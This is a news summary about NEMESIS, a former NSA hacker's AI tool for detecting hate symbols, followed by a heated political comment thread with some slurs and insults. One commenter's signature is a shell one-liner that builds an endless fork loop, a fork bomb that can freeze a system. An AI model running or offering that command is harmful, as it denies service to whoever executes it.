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Ex-NSA Hacker Is Building an AI To Find Hate and Far-Right Symbols on Twitter and Facebook (vice.com)
Motherboard reporter Lorenzo Franceschi-Bicchierai has interviewed Emily Crose, a former NSA hacker, who has built NEMESIS, an AI-powered program that can help spot symbols that have been co-opted by hate groups to signal to each other in plain sight. Crose, who has also moderated Reddit in the past, thought of building NEMESIS after the Charlottesville, Virginia incident last year. From the report: Crose's motivation is to expose white nationalists who use more or less obscure, mundane, or abstract symbols -- or so-called dog whistles -- in their posts, such as the Black Sun and certain Pepe the frog memes. Crose's goal is not only to expose people who use these symbols online but hopefully also push the social media companies to clamp down on hateful rhetoric online. "The real goal is to educate people," Crose told me in a phone call. "And a secondary goal: I'd really like to get the social media platforms to start thinking how they can enforce some decency on their own platforms, a certain level of decorum." [...]
At a glance, the way NEMESIS works is relatively simple. There's an "inference graph," which is a mathematical representation of trained images, classified as Nazi or white supremacist symbols. This inference graph trains the system with machine learning to identify the symbols in the wild, whether they are in pictures or videos. In a way, NEMESIS is dumb, according to Crose, because there are still humans involved, at least at the beginning. NEMESIS needs a human to curate the pictures of the symbols in the inference graph and make sure they are being used in a white supremacist context. For Crose, that's the key to the whole project -- she absolutely does not want NEMESIS to flag users who post Hindu swastikas, for example -- so NEMESIS needs to understand the context. "It takes thousands and thousands of images to get it to work just right," she said.
At a glance, the way NEMESIS works is relatively simple. There's an "inference graph," which is a mathematical representation of trained images, classified as Nazi or white supremacist symbols. This inference graph trains the system with machine learning to identify the symbols in the wild, whether they are in pictures or videos. In a way, NEMESIS is dumb, according to Crose, because there are still humans involved, at least at the beginning. NEMESIS needs a human to curate the pictures of the symbols in the inference graph and make sure they are being used in a white supremacist context. For Crose, that's the key to the whole project -- she absolutely does not want NEMESIS to flag users who post Hindu swastikas, for example -- so NEMESIS needs to understand the context. "It takes thousands and thousands of images to get it to work just right," she said.
Nothing can possibly go wrong with this. It has everything: NSA, hacking, white supremacists, reddit, AI. Definitely worth funding.
Dude, there isn't some sort of secret hate group code. Everyone knows those douches when they talk about "dem liberuls" or "dose imagrunts". They are not even trying to hide, they wear their status proudly.
I'm a good cook. I'm a fantastic eater. - Steven Brust
I give it a day before someone convinces the rainbow flag has been co-opted and is now a symbol of hate.
"There is more worth loving than we have strength to love." - Brian Jay Stanley
And the far left gets a pass!
How about a moderation of -1 pedantic.
What about far-left wing symbols of hate, violence, and oppression?
Antifa flags, socialist fist, hammer & sickle
After all, the Communists have killed far more innocents than the Nazis did.
It definitely needs to find a way to filter out ANYTHING that might be Xenophobic because that's always racist.
Unless it's about Russia.
Or unless it's about Boycott, Divest & Sanction which is the politically correct way to literally act like 1933-era Hitler but OK on the UC Berkeley campus so not a hate group.
Or unless it's misgynistic AND xenophobic remarks about Melania Trump because reasons.
Or unless it's antisemitism directed at Ivanka Trump because similar reasons.
That's sounds fine.
The problem is when the definition of "hate" keeps expanding to encompass anything a particular group does not agree with, which seems to be a trend now a days. Twitter has become the on-line equivalent of the American university safe-space where nobody has the right to be offended by anything at all whatsoever.
https://www.self.com/story/tra...
Can't find anything claiming he worked for the NSA, simply Army intelligence (which is anything but intelligent).
Communism is both much deadlier and more socially-accepted than any other kind of hateful school of thought today.
Anything "fighting evil" that ignores images of Che Guevara and like symbols is simply partisan b.s.
In Soviet Washington the swamp drains you.
Just see who Tay follows on Twitter.
The cataloging and inventory of undesirables used to be their job, I know even the Germans were amazed by their efficiency, now some startup wants to run them out of business.
Obviously, given the funding sources for these extremist groups, you could also identify them thru people who, for personal gain, are against legalized MJ, and then correlate that with Blockchain ads. I find a lot of the fake FB and Twitter bots in those groups.
Bitcoin and tulips both look pretty, and have about as much use.
-- Tigger warning: This post may contain tiggers! --
I know..go figure, right?
I have actually been seeing of late, YouTube rants of people actually arguing that if you are of any non-white color they you by definition can NOT be a racist.
Seriously?
Geez....common sense has gone 101% out the door in the US.
Light travels faster than sound. This is why some people appear bright until you hear them speak.........
After you've found the people you want, you round them up. Inconspicuously at first - call them terrorists, or nazis, or commies, or whatever. They are undesirables right? Make sure they have criminal records. Later, when the population has accepted mass incarceration, you can more easily eliminate them.
Yep we are nearly there aren't we. Only this time with AI to help us automate the process even more.
Reminds me of a friend who sees Illuminati symbols in every triangle or one-eyed photo.
I have actually been seeing of late, YouTube rants of people actually arguing that if you are of any non-white color they you by definition can NOT be a racist.
Well, dredging strawmen from the bottom of the YouTube comment barrel is hardly epistemologically impressive.
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This business of blaming one side of politics for all "hate" is nonsense. Someone also needs to read up on the 1st amendment which doesn't only protect politically correct speech. That kind of speech doesn't need protecting. It's speech you disagree with that needs to be protected the most.
A better neural net, faster, lighter, and more trainable was written back in 2007. It's called "crm114", adter the infamous piece of signal validation equipment broken in the plane dropping a hydrogen bomb in "Dr. Strangelove". It's in pure C, it's trainable on any axis or now multiple axes you want to use, and it's also the most effective spam filter in the world, and it's GPL software available at http://crm114.sourceforge.net/ .
So why are these fools re-inventing the wheel? Oh, wait!!! They might have to publish their modifications to their clients, so they re-invent, and re-invent, and re-invent the wheel, and they make it bulkier and in Java and Rust an dPerl and Ruby and *ignore the algorithms and training*, which are the crux of any recognition system. And is crm114 progressing much? No, because it doesn't *need* to. It's already in use commercially in places you would not *believe*. Ask the author, Bill "Crash" Yerazunis, former American team lead on the American version of "JunkYard Wars", and holder of over 50 patents. The man is scary.
Indeed. As it happens, I believe that (at least in America) the far right is much, much, much more dangerous than the far left, but that doesn't mean these pathetic hypocritical leftist witch hunts put a smile on my face. I mean, this is so stupid. We KNOW that the American leftists are not sufficiency energized by this tactic, hence why there was dip in the turnout of Ds last year, leading to Hillary's loss. Over a year later, and it's nothing but more self-sabotage, more of the War on Humor, etc.
And yeah, the hypocrisy does really hurt. It bolsters the right wing media and disillusions the pro-rational, pro-truth left. (That's not even the same as "moderate". I don't believe in moderation for moderation's sake, just sanity for sanity's sake and truth for truth's sake.)
Show of hands: are there any leftists in the audience who don't know, or still refuse to admit, that Black Lives Matter was/is a centrally planned movement run by a organization that openly quotes and openly idolizes the fugitive "domestic terrorist" and cop killer, Assata Shakur? Because it was, and they do. For a very long time, they had an attributed quote from her at the top of their website and you could find dozens of videos of BLM protesters chanting that same quote in unison at their rallies and protests. And the other major populist leftist movement of the past few years, that Women's March thing? Also centrally organized, and they openly celebrated Assata Shakur's birthday.
The people on the left don't know this or want to hear any of this; they don't want think about it. But guess what? The right wing knows about it and they are using it (plus the War on Humor, plus a few of the actual lies printed by the "MSM", plus a thousand other groanworthy missteps by leftists who foolishly think they can beat the far right at its own game) to win over the hearts and minds of a new generation.
I have zero fear of the "far left" directly doing massive damage to America; our left-wing politicians are way too moderate-ized (and also too unpopular) for that to ever happen. But these jokers are ruining it for everyone else, all the millions of us who despite what the Republicans stand for right now. They're ruining it for everyone, because they actually think that they can out-stupid and out-demagogue the right wing in America. And you can't; you just CAN'T god damn it.
A left wing pro-PC / witch hunt mentality led directly to Trump and six months before that, it led directly to Brexit. How many clusterfucks is it going to take for people to wake up and realize that this has been a FAILED strategy and move on?
The media throws around the term " AI " a bit too much. They make it sound like we're bringing AI systems online on a daily basis to solve all of our problems.
I doubt we're anywhere close to a true, sentient AI and won't be in our lifetime.
Then again, this is the same media who calls everything an " assault rifle " regardless of what the weapon truly is.
I guess " building an AI " sounds sexier than " Bob is writing code " :D
>twitter
>decorum
just fuck off already
The famous statement "I disapprove of what you say, but I will defend to the death your right to say it" (incorrectly attributed to Voltaire) has always been the best summary of the principle and right of free speech. Given the sad state of civics education in the past three decades, we're seeing the result of this failure to learn this basic idea. When we put "feels" above principle, we get garbage like NEMESIS that ignores the far left crackpots and singles out the far right crackpots. People really need to listen to their elders' take on free speech and democracy and not be a sucker.
"Crose's motivation is to expose white nationalists who use more or less obscure, mundane, or abstract symbols -- or so-called dog whistles -- in their posts, such as the Black Sun and certain Pepe the frog memes. "
The Black Sun - fine you can call that one - I had to look that one up. Just about anything Pepe the frog is a post meant to troll people like this ex-NSA hacker.
In order to be a proper victim there has to be a group that's in power and victimizing you, and if one doesn't truly exist, or isn't as organized as you would like you have to take the extra step and create one. The group that is making fun of people fighting to be top-victim is obviously the best choice. We can ignore the fact that group isn't actually all-white, or even all male because if you say "certain Pepe the Frog" meme's and exempt any that are from minorities or females while declaring any from a white male racist you built a nice little sifting box.
How victim are you?
The preceding post was not a Slashvertisement.
Because it's Salami Tactics by the Far Left.
https://en.wikipedia.org/wiki/...
The term Salami tactics (Hungarian: szalámitaktika) was coined in the late 1940s by the orthodox communist leader Mátyás Rákosi to describe the actions of the Hungarian Communist Party. Rákosi claimed he destroyed the non-Communist parties by "cutting them off like slices of salami." By portraying his opponents as fascists (or at the very least fascist sympathizers), he was able to get the opposition to slice off its right wing, then its centrists, then the more courageous left wingers, until only those fellow travelers willing to collaborate with the Communists remained in power.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
The real goal is to educate people
Whenever a liberal talks about "educating" someone, they're really talking about indoctrinating them.
So awesome. Grooming deplorables off the public network will make everything so nice. Should be a big help when hiring as well. Maybe voter registration some day. Yay.
Maw! Fire up the karma burner!
Twitter is absolutely flooded with death threats from Muslims.
Load of "kill all cops" and "kill and white people" tweets.
Hateful messages against whites is commonplace.
That left-wing stuff all seems to be just fine with twitter.
Even the most moderate conservatives get censored, suspended, or have the accounts pulled all the time.
Ten years? I got that back in a feminist class in college in 1992 that I was forced to take since I needed the credits and it was the only thing that fit my schedule. Only men could be sexist. So myself and the one other guy in the class sat around getting glared at for a semester, until we received a shining C for our effort.
I wonder if they will open source their work, so that other like-minded individuals can use their program to ferret out communists, or Sufis, or Jews, or whoever else they want to round up.
So in your mind, the only area of inquiry epistemology applies to is epistemology.
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I have actually been seeing of late, YouTube rants of people actually arguing that if you are of any non-white color they you by definition can NOT be a racist.
Why the fuck have you been seeing that?
I mean sure, you can find the most crazy peope on you tube and watch the videos but... ... ...well, everybody needs a hobby I guess.
SJW n. One who posts facts.
I'll tell you what I told my kids when it comes to information literacy: in a world with seven billion people, you can find examples of any kind of you can imagine. Christian terrorists? Oh, please, that's easy; there are even Jewish Neonazis out there. It doesn't make everyone who calls himself a Christian a terrorist.
What this means is that if you set out to confirm your preconceptions about some group people, you can find examples that do that. If you set out to disprove other peoples' preconceptions about that group, you will also find examples.
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Speaking of fascism, dirgisme (private ownership but state control over the means of production) historically has been closely associated with fascism. Can you name an elected Republican who opposes cities forcing businesses to provide abundant, free parking for their customers? (Big Oil funds the Republican party, so probably not..)
Any sufficiently unpopular but cohesive argument is indistinguishable from trolling.
Then the submitter is axiomatically incorrect.
Ahh the Netherlands. Or better known as Northern Spain! :) But really, get it together. Everyone else calls you Holland, you call yourselves the Netherlands, and you speak Dutch! Choose a freaking name for godssake!
Browsing at +1 - no ACs, I ignore their posts. So refreshing!
AC Re "I am always wondering why?"
The first step is to track free speech. Then find the origin of people who want to publish and who is visiting the sites.
Once a NSA like database is created of the entire 4 hops of the site then the reports to the FBI, state/federal task forces and city police can be made.
Two law enforcement officials will then do a field interview to ask why a person in the USA expected to have freedom of speech and freedom after speech.
If the need to comment online is not stopped by the chilling chat down then interview the persons work colleagues and friends.
Go full Soviet and a request a state medical review on why a person feels they have the freedom to comment on news, history, art, culture, politics?
If the comments have not stopped go for a formal police interview and stop that freedom of speech.
The USA is going full DDR with its need to watch comments and then track people enjoying their rights. Freedom of speech, freedom to peaceably to assemble, to petition the government for a redress of grievances, freedom of the press and the tools to publish.
Why the internet needs to hold back any and all such rights in the USA is getting interesting.
Most people can understand how the DDR used Zersetzung https://en.wikipedia.org/wiki/... to stop people asking questions, publishing, protesting.
Domestic spying is now "Benign Information Gathering"
Because when you can't compete, change the rules to your favor.
And your point would be? The argument *for* affirmative action is that the status quo ante competition is unfairly rigged so that people in certain groups can't compete. This can be contested several ways:
(1) denying that the status quo is rigged.
(2) denying that the status quo being rigged is a problem.
(3) accepting that the status quo is a problem but denying that anything can be done about it.
(4) accepting that the status quo should be changed but denying that affirmative action is the right thing to do about it.
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Now frog related publications, comments are banned and tracked in the USA too?
What next songs about satellites?
Domestic spying is now "Benign Information Gathering"
No, conservatives have seen fit to re-brand feminism by pointing to its extreme elements. Is a small government type an anarchist? No but an anarchist would advocate for smaller government. Is someone concerned about illegal immigration a racist? No but a racist certainly would be. Likewise a feminist is not a man hater just because they advocate for treating women equally.
It makes me crazy to hear female conservative commentators make statements like "I'm not a feminist but..." and then state they're in favor of equality of the sexes or in other words, lay out a completely main stream feminist agenda. They're literally participating in the negative re-branding of feminism while saying they're all for it.
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The definition of a strawman. Please mod down.
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"But now gay people want to force bakers to bake them cakes "
How about another way of seeing it? How about gay people don't want to be denied basic commercial services provided to everyone else? If a baker can tell a gay couple they won't make them a cake they can tell a black couple the same.
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What about Far Left symbols?
"1. American immigration laws should be enforced."
Sure but some common sense compassion is just what's right here.
"2. There is no evidence that police in America apply different standards to white citizens and non-white citizens."
How about the first link I found on the subject that even sites its research. https://www.google.com/url?sa=...
So basically, white folks do far less time than black for selling drugs on average. Sure, it's not police exclusive but it is most certainly tied to the same core problem.That's a single example on the issue.
"3. Islamic fundamentalism motivates the violent act committed by many extremists and must be combated and defended against using within the framework of foreign diplomacy, foreign aid, military policy, and immigration policy."
Sure but on the other end forbidding immigration to some of the most vulnerable peoples of the world is criminal (in a moral context). Just because a person is Muslim doesnt mean they should be treated differently when they seek aid from mass violence. Proper screening? Of course. Banning? These are fucking human beings suffering here.
"4. Government benefits should only be provided to the demonstrably infirm or aged citizens and not be made available to able-bodied persons of working age."
So children in poor families should go malnourished thus greatly diminishing their future competitiveness and thus increasing the likelihood they will be unproductive as adults? What a truly amazing idea that is.
There's nothing truly racist happening here but minority communities who are disproportionately poor will suffer far more with such a policy than others.
"5. Restrictions on the sale, ownership, or possession of firearms punish the law-abiding and do not make any dent in violent crime."
Please see gun violence and homicide rates for any first world country of comparable wealth. You're creating the purist of fictions on this claim. Our mass gun ownership is making us far less safe than in comparable countries.
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No, nothing can go wrong. Targeting hate and far right? We see more hatred and violence from the left, now and historically.
You can lead a man with reason but you can't make him think.
Oh, so you're afraid of whites being a minority...?
Il n'y a pas de Planet B.
Saviours of the Just, protectors of the Golden Child.
Bearing responsibility for yet another K-Pop boy-band is not exactly something to be crowing about.
Il n'y a pas de Planet B.
Tranny anti-freedom activist ex-Stasi agent builds magic box that declares people to be witches even when no external sign of witchcraft is visible to normal people. No chance for abuse here, no, none at all...
A tool that can identify Pepe, the flag of Kekistan, cartons of milk, and the "Okay" emoji.
All of these have been deemed "white supremacist dog whistles" in the last couple of years. I'll let you in on a tip; each time, you're being trolled. Hard. And the clever thing is, by having a meltdown over something as benign as "they're drinking milk!", you're desensitising a lot of people to words like 'racism', 'nazi', 'white supremacy', by tossing them around so freely.
These were words used to carry an awful lot of impact. Now, you can be a racist for doing the "okay" hand signal, while sipping milk.
This revolutionary NSA hacker with her AI (is it just some sort of idiotic neural network trained to spot Pepe / look at Richard Spencer's Twitter feed and track new memes?) is going to be a massive success.
It'll be up there with the advances in AI used to power Twitter blocklists.
The great innovation that created the web was hyperlinks. Since the 90s we have been able to not just say "I saw this on YouTube", but provide an actual link directly to the content!
For some reason some people don't use this facility to enhance their arguments.
const int one = 65536; (Silvermoon, Texture.cs)
SJW, n: "Someone I don't like, and by the way I'm a fuckwit" - AC
Hilariously you just described this story's comments exactly.
const int one = 65536; (Silvermoon, Texture.cs)
SJW, n: "Someone I don't like, and by the way I'm a fuckwit" - AC
Yep. Racism has been redefined by the Left to include "power" you can't be racist if you don't have "power" which conveniently means that they can be as shitty as they want, then claim that they aren't racist because they don't have "power."
Often so called anti-fascists end up being fascist and intolerant themselves due to a lack of true empathy. The only empathy they can feel is exclusively for those they choose. Usually people they see as victims of injustice. They cannot see the other side of the story and are unable to see nuances. I personally blame this on egocentric and possibly narcissistic disorders. You see them on both sides of the political spectrum.
Bach says it all.
What happens when the symbolism gets co-opted by the targets? This has happened before, and the most recent case I can think of is Jewish forum posters choosing to put (((Echo Brackets))) on their handles.
How is the Riemann zeta function like Trump rallies? Both have an endless number of trivial zeros.
I know..go figure, right?
I have actually been seeing of late, YouTube rants of people actually arguing that if you are of any non-white color they you by definition can NOT be a racist.
Seriously?
Geez....common sense has gone 101% out the door in the US.
And I have seen of late, YouTube rants of people actually arguing that if you are of any non-white colour you are inferior to whites... Amazing what you can find if you look for it.
The difference between you and I is that I know that the subjects of these videos are nutters and not representative of their society as a whole. Nor would I use such a nutter as a strawman.
Calling someone a "hater" only means you can not rationally rebut their argument.
It's a corporations video describing how they make steel tubes. The subtlety is extraordinary (except for the part where they say "final solution heat bath". That's just lingual gymnastics. https://www.youtube.com/watch?...
"Ex-NSA Hacker Is Building an AI To Find Hate and Far-Right Symbols on Twitter and Facebook"
Why not include far-left "dog whistle" symbols, too?
Or do you just need to look for things like "This is CNN" or "Copyright 2018 New York Times" and such?
(The preceding paragraph was hyperbole for effect, and possibly humor.)
There's no time like the present. Well, the past used to be.